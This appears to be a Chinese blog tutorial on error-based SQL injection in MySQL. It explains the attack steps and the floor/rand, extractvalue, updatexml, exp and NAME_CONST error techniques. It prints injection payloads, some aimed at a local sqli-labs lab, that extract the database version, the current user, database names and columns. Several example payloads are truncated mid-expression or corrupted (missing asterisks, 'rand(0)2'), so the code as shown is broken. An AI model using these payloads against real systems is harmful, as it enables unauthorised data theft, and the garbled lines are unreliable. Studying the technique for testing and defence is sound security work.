【SQL注入-可回显】报错注入:简介、相关函数、利用方法
【SQL注入-可回显】报错注入:简介、相关函数、利用方法
目录
一、定义:
1.1、简介:
SQL报错注入:利用数据库的某些报错返回机制,刻意的制造错误条件传到数据库,使得查询结果能够出现在错误返回提示信息中
1.2、利用:
需要有SQL报错信息回 显
有显示位时,首先使用union联合查询语句
无显示位时,使用报错注入
1.3、利用过程:
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查看数据库基本信息
第五步:爆数据库
第六步:爆数据库表
第七步:爆字段
第八步:爆数据
1.4示例:
(1)爆数据库版本信息:
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.(2)爆当前用户:
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tab(3)爆当前数据库:
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema(4)爆指定表的字段
?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM informati
注:
高版本的数据库,现在已经很多难以执行成功了
二、相关函数:
2.1、最常用的三种是:
floor()、updatexml()以及extractvalue()这三个函数
现在有很多高版本都已经用不了了
2.2、Xpath语法错误
extractvalue()是查询、updatexml()是改变
extractvalue()
作用:
对XML文档进行查询(类似在HTML文件中用标签查找元素)
------
语法:
extractvalue( XML_document, XPath_string )
参数1:XML_document(String格式),为XML文档对象的名称(输入错误的)
参数2:XPath_string(Xpath格式的字符串)(注入的地方)
------
利用:
extractvalue(1,(payload))
extractvalue(1,(concat(0x7e,(payload),0x7e)))
------
报错原理:
格式报错
xml文档中查找字符位置是用/xxx/xxx/xxx/...
写入其他格式就会报错,并返回注入请求的内容
报错最多32字符
------
利用语句:
http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and extractvalue(1,concat('~',database())) --+
注:
在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错
updatexml()
作用:
改变文档中符合条件节点的值
------
语法:
updatexml( XML_document, XPath_string, new_value )
参数1:XML_document(String格式),为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value(String格式),替换查找到的符合条件的数据updatexml(1, payload,1)
------
报错原理:
也是格式错误
输出的字符长度有限制,其最长输出32位
2.3、数据溢出
类型 贮存 最小值 最大值 (Bytes) (Signed/Unsigned) (Signed/Unsigned) TINYINT 1 -128 127 0 255 SMALLINT 2 -32768 32767 0 65535 MEDIUMINT 3 -8388608 8388607 0 16777215 INT 4 -2147483648 2147483647 0 4294967295 BIGINT 8 -9223372036854775808 9223372036854775807 0 18446744073709551615
在mysql5.5之前,整形溢出不会报错,只有版本号大于5.5.5时,才会报错
官方文档说明:
在mysql中,并不是输入很长数字,考虑按位取反
报错信息是有长度限制的,在mysql/my_error.c中可以看到
exp()
(5.5.5<= MySQL数据库版本号<=5.5.49)
作用:
计算以e(自然常数)为底的幂值
------
语法:
exp(x)
------
报错原理:
当参数x超过710时,exp()函数会报错
(错误信息:DOUBLE value is of range)
------
注入语句:
id=1 and EXP(~(SELECT from (SELECT user())a))
2.4、主键重复
原理:
count()和group by
遇到rand()产生的重复值时报错
rand():
生成一个0~1之间的随机浮点数
生成[ 0 , 1 ) [0,1)[0,1)之间的随机数,可以指定参数作为种子
可以通过线性运算扩大值域,比如2 ∗ r a n d ( ) 2*rand()2∗rand()就生成了[ 0 , 2 ) [0,2)[0,2)上的随机数
count(*):
统计行数、某表下总共记录条数
count ( ∗ ) 搭配group by查询
group by x:
作用:
按x规则进行分组
------
报错原理:
利用rand()函数与group()函数的相互冲突
group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次
rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错
floor(x):
作用:
对参数x向下取整
------
语句:
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
------
注入语句:
id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)
需要注意的是该语句将 输出字符长度限制为64个字符
2.5、函数特性报错
列名重复
报错:
mysql列名重复会报错
------
利用:
name_const来制造一个列
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
2.6、参数类型
几何函数(数字)
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等
不满足可能会报错。php版本不同,可能会会有不同的结果
报错,那不是轻轻松松报错,哈哈哈
- 点赞
- 收藏
- 关注作者
评论(0)